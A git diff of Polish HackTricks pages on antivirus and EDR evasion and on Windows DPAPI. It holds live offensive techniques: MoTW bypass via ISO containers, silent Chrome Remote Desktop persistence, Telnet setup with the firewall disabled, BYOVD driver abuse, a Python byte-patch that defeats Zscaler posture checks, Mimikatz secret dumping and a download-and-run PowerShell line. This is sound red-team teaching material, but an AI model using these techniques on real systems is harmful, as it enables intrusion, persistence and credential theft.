- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie open-source'owego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i zabezpieczanie przed manipulacjami.
|
||||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora.
|
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora.
|
||||||
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania szablonów C++, co utrudni życie osobie, która chce złamać aplikację.
|
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie chcącej złamać aplikację.
|
||||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
|
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
|
||||||
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorfnego dla dowolnych plików wykonywalnych.
|
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorfnego dla dowolnych plików wykonywalnych.
|
||||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o drobnej granularności dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
|
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o drobnej granularności dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
|
||||||
@ -249,16 +249,16 @@ Microsoft Defender SmartScreen to mechanizm zabezpieczeń mający na celu ochron
|
|||||||
|
|
||||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu wykonanie pliku (chociaż plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje uruchomią SmartScreen, co ostrzeże i uniemożliwi użytkownikowi końcowemu wykonanie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).
|
||||||
|
|
||||||
**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
|
**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
|
||||||
|
|
||||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Sprawdzanie ADS Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
|
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Sprawdzanie ADS Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie wywołają SmartScreen**.
|
> Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie uruchomią SmartScreen**.
|
||||||
|
|
||||||
Bardzo skutecznym sposobem na zapobieżenie oznaczeniu twoich ładunków jako Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów nie-NTFS**.
|
Bardzo skutecznym sposobem na zapobieganie oznaczaniu twoich ładunków jako Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów nie-NTFS**.
|
||||||
|
|
||||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -314,7 +314,7 @@ Polega to na **uruchomieniu nowego procesy ofiarnego**, wstrzyknięciu złośliw
|
|||||||
|
|
||||||
- **Inline**
|
- **Inline**
|
||||||
|
|
||||||
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utracenie swojego beacona**, ponieważ może on się zawiesić.
|
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utratę twojego beacona**, ponieważ może on się zawiesić.
|
||||||
|
|
||||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -327,7 +327,7 @@ Możesz również ładować zestawy C# **z PowerShell**, sprawdź [Invoke-SharpL
|
|||||||
|
|
||||||
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na udziale SMB kontrolowanym przez atakującego**.
|
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu przy użyciu innych języków, dając skompromitowanej maszynie dostęp **do środowiska interpretera zainstalowanego na udziale SMB kontrolowanym przez atakującego**.
|
||||||
|
|
||||||
Umożliwiając dostęp do binariów interpretera i środowiska na udziale SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
|
Pozwalając na dostęp do binariów interpretera i środowiska na udziale SMB, możesz **wykonywać dowolny kod w tych językach w pamięci** skompromitowanej maszyny.
|
||||||
|
|
||||||
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
|
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **więcej elastyczności w omijaniu statycznych sygnatur**. Testowanie losowych, nieobfuskowanych skryptów reverse shell w tych językach okazało się skuteczne.
|
||||||
|
|
||||||
@ -345,7 +345,7 @@ Aby temu zapobiec, Windows mógłby **zapobiec zewnętrznym procesom** uzyskiwan
|
|||||||
|
|
||||||
### Chrome Remote Desktop
|
### Chrome Remote Desktop
|
||||||
|
|
||||||
Jak opisano w [**tym wpisie na blogu**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), łatwo jest po prostu zainstalować Chrome Remote Desktop na komputerze ofiary, a następnie użyć go do przejęcia go i utrzymania trwałości:
|
Jak opisano w [**tym wpisie na blogu**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), łatwo jest po prostu wdrożyć Chrome Remote Desktop na komputerze ofiary, a następnie użyć go do przejęcia go i utrzymania trwałości:
|
||||||
1. Pobierz z https://remotedesktop.google.com/, kliknij "Skonfiguruj przez SSH", a następnie kliknij plik MSI dla Windows, aby pobrać plik MSI.
|
1. Pobierz z https://remotedesktop.google.com/, kliknij "Skonfiguruj przez SSH", a następnie kliknij plik MSI dla Windows, aby pobrać plik MSI.
|
||||||
2. Uruchom instalator w trybie cichym na ofierze (wymagane uprawnienia administratora): `msiexec /i chromeremotedesktophost.msi /qn`
|
2. Uruchom instalator w trybie cichym na ofierze (wymagane uprawnienia administratora): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||||
3. Wróć do strony Chrome Remote Desktop i kliknij dalej. Kreator poprosi cię o autoryzację; kliknij przycisk Autoryzuj, aby kontynuować.
|
3. Wróć do strony Chrome Remote Desktop i kliknij dalej. Kreator poprosi cię o autoryzację; kliknij przycisk Autoryzuj, aby kontynuować.
|
||||||
@ -371,22 +371,22 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
|||||||
|
|
||||||
## **Old Techniques**
|
## **Old Techniques**
|
||||||
|
|
||||||
### **Sprawdź, które części Defender uznaje za złośliwe**
|
### **Check which parts Defender finds as malicious**
|
||||||
|
|
||||||
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów**, aż **dowie się, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\
|
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów**, aż **dowie się, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\
|
||||||
Innym narzędziem wykonującym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
Innym narzędziem wykonującym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Serwer Telnet**
|
### **Telnet Server**
|
||||||
|
|
||||||
Do Windows 10 wszystkie wersje Windows miały **serwer Telnet**, który można było zainstalować (jako administrator) wykonując:
|
Do Windows 10 wszystkie wersje Windows miały **serwer Telnet**, który można było zainstalować (jako administrator) wykonując:
|
||||||
```bash
|
```bash
|
||||||
pkgmgr /iu:"TelnetServer" /quiet
|
pkgmgr /iu:"TelnetServer" /quiet
|
||||||
```
|
```
|
||||||
Uruchom to **przy starcie** systemu i **uruchom** to teraz:
|
Ustaw, aby **uruchamiało się** przy starcie systemu i **uruchom** to teraz:
|
||||||
```bash
|
```bash
|
||||||
sc config TlntSVR start= auto obj= localsystem
|
sc config TlntSVR start= auto obj= localsystem
|
||||||
```
|
```
|
||||||
**Zmień port telnet** (stealth) i wyłącz zaporę:
|
**Zmień port telnet** (ukryty) i wyłącz zaporę:
|
||||||
```
|
```
|
||||||
tlntadmn config port=80
|
tlntadmn config port=80
|
||||||
netsh advfirewall set allprofiles state off
|
netsh advfirewall set allprofiles state off
|
||||||
@ -409,7 +409,7 @@ Następnie przenieś plik binarny _**winvnc.exe**_ oraz **nowo** utworzony plik
|
|||||||
|
|
||||||
**OSTRZEŻENIE:** Aby zachować dyskrecję, musisz unikać kilku rzeczy
|
**OSTRZEŻENIE:** Aby zachować dyskrecję, musisz unikać kilku rzeczy
|
||||||
|
|
||||||
- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup](https://i.imgur.com/1SROTTl.png). sprawdź, czy działa za pomocą `tasklist | findstr winvnc`
|
- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa, używając `tasklist | findstr winvnc`
|
||||||
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
|
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
|
||||||
- Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, bo wywołasz [popup](https://i.imgur.com/oc18wcu.png)
|
- Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, bo wywołasz [popup](https://i.imgur.com/oc18wcu.png)
|
||||||
|
|
||||||
@ -542,7 +542,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
|||||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Lista obfuscatorów C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
Lista obfuskatorów C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||||
|
|
||||||
### C++
|
### C++
|
||||||
```
|
```
|
||||||
@ -590,9 +590,9 @@ https://github.com/praetorian-code/vulcan
|
|||||||
|
|
||||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
## Przynieś Własny Wrażliwy Sterownik (BYOVD) – Zabijanie AV/EDR z Poziomu Jądra
|
## Przynieś Własny Wrażliwy Sterownik (BYOVD) – Zabijanie AV/EDR z Przestrzeni Jądra
|
||||||
|
|
||||||
Storm-2603 wykorzystał małe narzędzie konsolowe znane jako **Antivirus Terminator**, aby wyłączyć zabezpieczenia punktów końcowych przed zainstalowaniem ransomware. Narzędzie przynosi **własny wrażliwy, ale *podpisany* sterownik** i nadużywa go, aby wydawać uprzywilejowane operacje jądra, których nawet usługi AV chronione przez Protected-Process-Light (PPL) nie mogą zablokować.
|
Storm-2603 wykorzystał małe narzędzie konsolowe znane jako **Antivirus Terminator**, aby wyłączyć ochrony punktów końcowych przed zainstalowaniem ransomware. Narzędzie przynosi **własny wrażliwy, ale *podpisany* sterownik** i nadużywa go, aby wydawać uprzywilejowane operacje jądra, których nawet usługi AV chronione przez Protected-Process-Light (PPL) nie mogą zablokować.
|
||||||
|
|
||||||
Kluczowe wnioski
|
Kluczowe wnioski
|
||||||
1. **Podpisany sterownik**: Plik dostarczony na dysk to `ServiceMouse.sys`, ale binarny to legalnie podpisany sterownik `AToolsKrnl64.sys` z „System In-Depth Analysis Toolkit” Antiy Labs. Ponieważ sterownik ma ważny podpis Microsoftu, ładowany jest nawet gdy wymuszenie podpisu sterownika (DSE) jest włączone.
|
1. **Podpisany sterownik**: Plik dostarczony na dysk to `ServiceMouse.sys`, ale binarny to legalnie podpisany sterownik `AToolsKrnl64.sys` z „System In-Depth Analysis Toolkit” Antiy Labs. Ponieważ sterownik ma ważny podpis Microsoftu, ładowany jest nawet gdy wymuszenie podpisu sterownika (DSE) jest włączone.
|
||||||
@ -625,10 +625,50 @@ return 0;
|
|||||||
|
|
||||||
Wykrywanie / Łagodzenie
|
Wykrywanie / Łagodzenie
|
||||||
• Włącz listę blokowania wrażliwych sterowników Microsoftu (`HVCI`, `Smart App Control`), aby Windows odmówił załadowania `AToolsKrnl64.sys`.
|
• Włącz listę blokowania wrażliwych sterowników Microsoftu (`HVCI`, `Smart App Control`), aby Windows odmówił załadowania `AToolsKrnl64.sys`.
|
||||||
• Monitoruj tworzenie nowych *usług* jądra i powiadamiaj, gdy sterownik jest ładowany z katalogu zapisywalnego przez świat lub nie znajduje się na liście dozwolonych.
|
• Monitoruj tworzenie nowych *usług* jądra i powiadamiaj, gdy sterownik jest ładowany z katalogu zapisywalnego dla wszystkich lub nie znajduje się na liście dozwolonych.
|
||||||
• Obserwuj uchwyty w trybie użytkownika do niestandardowych obiektów urządzeń, po których następują podejrzane wywołania `DeviceIoControl`.
|
• Obserwuj uchwyty w trybie użytkownika do niestandardowych obiektów urządzeń, po których następują podejrzane wywołania `DeviceIoControl`.
|
||||||
|
|
||||||
## Odniesienia
|
### Ominięcie Kontroli Postury Klienta Zscaler Client Connector za pomocą Łatania Binariów na Dysku
|
||||||
|
|
||||||
|
**Client Connector** Zscalera stosuje zasady postury urządzenia lokalnie i polega na Windows RPC, aby komunikować wyniki innym komponentom. Dwa słabe wybory projektowe umożliwiają pełne ominięcie:
|
||||||
|
|
||||||
|
1. Ocena postury odbywa się **całkowicie po stronie klienta** (boolean jest wysyłany do serwera).
|
||||||
|
2. Wewnętrzne punkty końcowe RPC tylko weryfikują, że łączący się plik wykonywalny jest **podpisany przez Zscalera** (za pomocą `WinVerifyTrust`).
|
||||||
|
|
||||||
|
Poprzez **łatanie czterech podpisanych binariów na dysku** oba mechanizmy mogą być zneutralizowane:
|
||||||
|
|
||||||
|
| Binarne | Oryginalna logika załatana | Wynik |
|
||||||
|
|--------|------------------------|---------|
|
||||||
|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Zawsze zwraca `1`, więc każda kontrola jest zgodna |
|
||||||
|
| `ZSAService.exe` | Pośrednie wywołanie `WinVerifyTrust` | NOP-ed ⇒ każdy (nawet niepodpisany) proces może łączyć się z rurami RPC |
|
||||||
|
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Zastąpione przez `mov eax,1 ; ret` |
|
||||||
|
| `ZSATunnel.exe` | Kontrole integralności tunelu | Skrócone |
|
||||||
|
|
||||||
|
Minimalny fragment łatający:
|
||||||
|
```python
|
||||||
|
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||||
|
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||||
|
|
||||||
|
with open("ZSATrayManager.exe", "r+b") as f:
|
||||||
|
data = f.read()
|
||||||
|
off = data.find(pattern)
|
||||||
|
if off == -1:
|
||||||
|
print("pattern not found")
|
||||||
|
else:
|
||||||
|
f.seek(off)
|
||||||
|
f.write(replacement)
|
||||||
|
```
|
||||||
|
Po zastąpieniu oryginalnych plików i ponownym uruchomieniu stosu usług:
|
||||||
|
|
||||||
|
* **Wszystkie** kontrole postawy wyświetlają **zielony/zgodny**.
|
||||||
|
* Niesygnowane lub zmodyfikowane pliki binarne mogą otwierać punkty końcowe RPC w nazwanym potoku (np. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||||
|
* Sk compromised host uzyskuje nieograniczony dostęp do wewnętrznej sieci zdefiniowanej przez polityki Zscaler.
|
||||||
|
|
||||||
|
Ten przypadek pokazuje, jak czysto klienckie decyzje o zaufaniu i proste kontrole podpisów mogą zostać pokonane za pomocą kilku poprawek bajtowych.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||||
|
|
||||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
## Czym jest DPAPI
|
## Czym jest DPAPI
|
||||||
|
|
||||||
Data Protection API (DPAPI) jest głównie wykorzystywane w systemie operacyjnym Windows do **symmetric encryption of asymmetric private keys**, wykorzystując jako istotne źródło entropii sekrety użytkownika lub systemu. Takie podejście upraszcza szyfrowanie dla programistów, umożliwiając im szyfrowanie danych za pomocą klucza pochodzącego z sekretów logowania użytkownika lub, w przypadku szyfrowania systemowego, sekretów uwierzytelniania domeny systemu, eliminując w ten sposób potrzebę zarządzania ochroną klucza szyfrującego przez programistów.
|
Data Protection API (DPAPI) jest głównie wykorzystywane w systemie operacyjnym Windows do **symmetric encryption of asymmetric private keys**, wykorzystując tajemnice użytkownika lub systemu jako istotne źródło entropii. Takie podejście upraszcza szyfrowanie dla programistów, umożliwiając im szyfrowanie danych za pomocą klucza pochodzącego z tajemnic logowania użytkownika lub, w przypadku szyfrowania systemowego, tajemnic uwierzytelniania domeny systemu, eliminując w ten sposób potrzebę zarządzania ochroną klucza szyfrującego przez programistów.
|
||||||
|
|
||||||
Najczęstszym sposobem użycia DPAPI jest korzystanie z funkcji **`CryptProtectData` i `CryptUnprotectData`**, które pozwalają aplikacjom na bezpieczne szyfrowanie i deszyfrowanie danych z sesji procesu, który jest aktualnie zalogowany. Oznacza to, że zaszyfrowane dane mogą być odszyfrowane tylko przez tego samego użytkownika lub system, który je zaszyfrował.
|
Najczęstszym sposobem użycia DPAPI jest korzystanie z funkcji **`CryptProtectData` i `CryptUnprotectData`**, które pozwalają aplikacjom na bezpieczne szyfrowanie i deszyfrowanie danych z sesji procesu, który jest aktualnie zalogowany. Oznacza to, że zaszyfrowane dane mogą być odszyfrowane tylko przez tego samego użytkownika lub system, który je zaszyfrował.
|
||||||
|
|
||||||
@ -14,20 +14,20 @@ Ponadto, te funkcje akceptują również parametr **`entropy`**, który będzie
|
|||||||
|
|
||||||
### Generowanie kluczy użytkowników
|
### Generowanie kluczy użytkowników
|
||||||
|
|
||||||
DPAPI generuje unikalny klucz (nazywany **`pre-key`**) dla każdego użytkownika na podstawie jego poświadczeń. Klucz ten jest pochodną hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, ale kończy się na SHA1. Na przykład, dla użytkowników domenowych, **zależy od hasha HTLM użytkownika**.
|
DPAPI generuje unikalny klucz (nazywany **`pre-key`**) dla każdego użytkownika na podstawie ich poświadczeń. Klucz ten jest pochodną hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, ale kończy się jako SHA1. Na przykład, dla użytkowników domenowych, **zależy od hasha HTLM użytkownika**.
|
||||||
|
|
||||||
To jest szczególnie interesujące, ponieważ jeśli atakujący może uzyskać hash hasła użytkownika, może:
|
To jest szczególnie interesujące, ponieważ jeśli atakujący może uzyskać hash hasła użytkownika, może:
|
||||||
|
|
||||||
- **Odszyfrować wszelkie dane, które zostały zaszyfrowane przy użyciu DPAPI** z kluczem tego użytkownika bez potrzeby kontaktowania się z jakimkolwiek API
|
- **Odszyfrować wszelkie dane, które zostały zaszyfrowane przy użyciu DPAPI** z kluczem tego użytkownika bez potrzeby kontaktowania się z jakimkolwiek API
|
||||||
- Spróbować **złamać hasło** offline, próbując wygenerować ważny klucz DPAPI
|
- Spróbować **złamać hasło** offline, próbując wygenerować ważny klucz DPAPI
|
||||||
|
|
||||||
Ponadto, za każdym razem, gdy dane są szyfrowane przez użytkownika przy użyciu DPAPI, generowany jest nowy **klucz główny**. Ten klucz główny jest tym, który jest faktycznie używany do szyfrowania danych. Każdy klucz główny jest przypisany z **GUID** (Globally Unique Identifier), który go identyfikuje.
|
Ponadto, za każdym razem, gdy dane są szyfrowane przez użytkownika przy użyciu DPAPI, generowany jest nowy **klucz główny**. Ten klucz główny jest tym, który faktycznie jest używany do szyfrowania danych. Każdy klucz główny jest przypisany z **GUID** (Globally Unique Identifier), który go identyfikuje.
|
||||||
|
|
||||||
Klucze główne są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` to identyfikator zabezpieczeń tego użytkownika. Klucz główny jest przechowywany zaszyfrowany kluczem **`pre-key`** użytkownika oraz kluczem **kopii zapasowej domeny** do odzyskiwania (więc ten sam klucz jest przechowywany zaszyfrowany 2 razy przez 2 różne hasła).
|
Klucze główne są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` to identyfikator bezpieczeństwa tego użytkownika. Klucz główny jest przechowywany zaszyfrowany kluczem **`pre-key`** użytkownika oraz kluczem **kopii zapasowej domeny** do odzyskiwania (więc ten sam klucz jest przechowywany zaszyfrowany 2 razy przez 2 różne hasła).
|
||||||
|
|
||||||
Zauważ, że **klucz domeny używany do szyfrowania klucza głównego znajduje się w kontrolerach domeny i nigdy się nie zmienia**, więc jeśli atakujący ma dostęp do kontrolera domeny, może odzyskać klucz kopii zapasowej domeny i odszyfrować klucze główne wszystkich użytkowników w domenie.
|
Zauważ, że **klucz domeny używany do szyfrowania klucza głównego znajduje się w kontrolerach domeny i nigdy się nie zmienia**, więc jeśli atakujący ma dostęp do kontrolera domeny, może odzyskać klucz kopii zapasowej domeny i odszyfrować klucze główne wszystkich użytkowników w domenie.
|
||||||
|
|
||||||
Zaszyfrowane bloby zawierają **GUID klucza głównego**, który został użyty do szyfrowania danych wewnątrz jego nagłówków.
|
Zaszyfrowane bloby zawierają **GUID klucza głównego**, który został użyty do szyfrowania danych w swoich nagłówkach.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Zaszyfrowane bloby DPAPI zaczynają się od **`01 00 00 00`**
|
> Zaszyfrowane bloby DPAPI zaczynają się od **`01 00 00 00`**
|
||||||
@ -41,35 +41,35 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
|
|||||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
||||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||||||
```
|
```
|
||||||
To jest to, jak wygląda zestaw Master Keys użytkownika:
|
To, jak wygląda zestaw Master Keys użytkownika:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Generowanie kluczy maszyny/systemu
|
### Generowanie kluczy maszyny/systemu
|
||||||
|
|
||||||
Jest to klucz używany przez maszynę do szyfrowania danych. Opiera się na **DPAPI_SYSTEM LSA secret**, który jest specjalnym kluczem, do którego dostęp ma tylko użytkownik SYSTEM. Klucz ten jest używany do szyfrowania danych, które muszą być dostępne dla samego systemu, takich jak poświadczenia na poziomie maszyny lub sekrety systemowe.
|
To jest klucz używany przez maszynę do szyfrowania danych. Jest oparty na **DPAPI_SYSTEM LSA secret**, który jest specjalnym kluczem, do którego dostęp ma tylko użytkownik SYSTEM. Klucz ten jest używany do szyfrowania danych, które muszą być dostępne dla samego systemu, takich jak poświadczenia na poziomie maszyny lub sekrety systemowe.
|
||||||
|
|
||||||
Należy zauważyć, że te klucze **nie mają kopii zapasowej w domenie**, więc są dostępne tylko lokalnie:
|
Należy zauważyć, że te klucze **nie mają kopii zapasowej w domenie**, więc są dostępne tylko lokalnie:
|
||||||
|
|
||||||
- **Mimikatz** może uzyskać do nich dostęp, zrzucając sekrety LSA za pomocą polecenia: `mimikatz lsadump::secrets`
|
- **Mimikatz** może uzyskać do nich dostęp, zrzucając sekrety LSA za pomocą polecenia: `mimikatz lsadump::secrets`
|
||||||
- Sekret jest przechowywany w rejestrze, więc administrator może **zmodyfikować uprawnienia DACL, aby uzyskać do niego dostęp**. Ścieżka rejestru to: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
- Sekret jest przechowywany w rejestrze, więc administrator mógłby **zmodyfikować uprawnienia DACL, aby uzyskać do niego dostęp**. Ścieżka rejestru to: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||||
|
|
||||||
### Chronione dane przez DPAPI
|
### Chronione dane przez DPAPI
|
||||||
|
|
||||||
Wśród danych osobowych chronionych przez DPAPI znajdują się:
|
Wśród danych osobowych chronionych przez DPAPI znajdują się:
|
||||||
|
|
||||||
- poświadczenia Windows
|
- Poświadczenia Windows
|
||||||
- hasła i dane autouzupełniania Internet Explorera i Google Chrome
|
- Hasła i dane autouzupełniania Internet Explorera i Google Chrome
|
||||||
- hasła do kont e-mail i wewnętrznych kont FTP dla aplikacji takich jak Outlook i Windows Mail
|
- Hasła do kont e-mail i wewnętrznych kont FTP dla aplikacji takich jak Outlook i Windows Mail
|
||||||
- hasła do folderów udostępnionych, zasobów, sieci bezprzewodowych i Windows Vault, w tym klucze szyfrowania
|
- Hasła do folderów współdzielonych, zasobów, sieci bezprzewodowych i Windows Vault, w tym klucze szyfrowania
|
||||||
- hasła do połączeń z pulpitem zdalnym, .NET Passport i klucze prywatne do różnych celów szyfrowania i uwierzytelniania
|
- Hasła do połączeń z pulpitem zdalnym, .NET Passport oraz klucze prywatne do różnych celów szyfrowania i uwierzytelniania
|
||||||
- hasła sieciowe zarządzane przez Menedżera poświadczeń oraz dane osobowe w aplikacjach korzystających z CryptProtectData, takich jak Skype, MSN messenger i inne
|
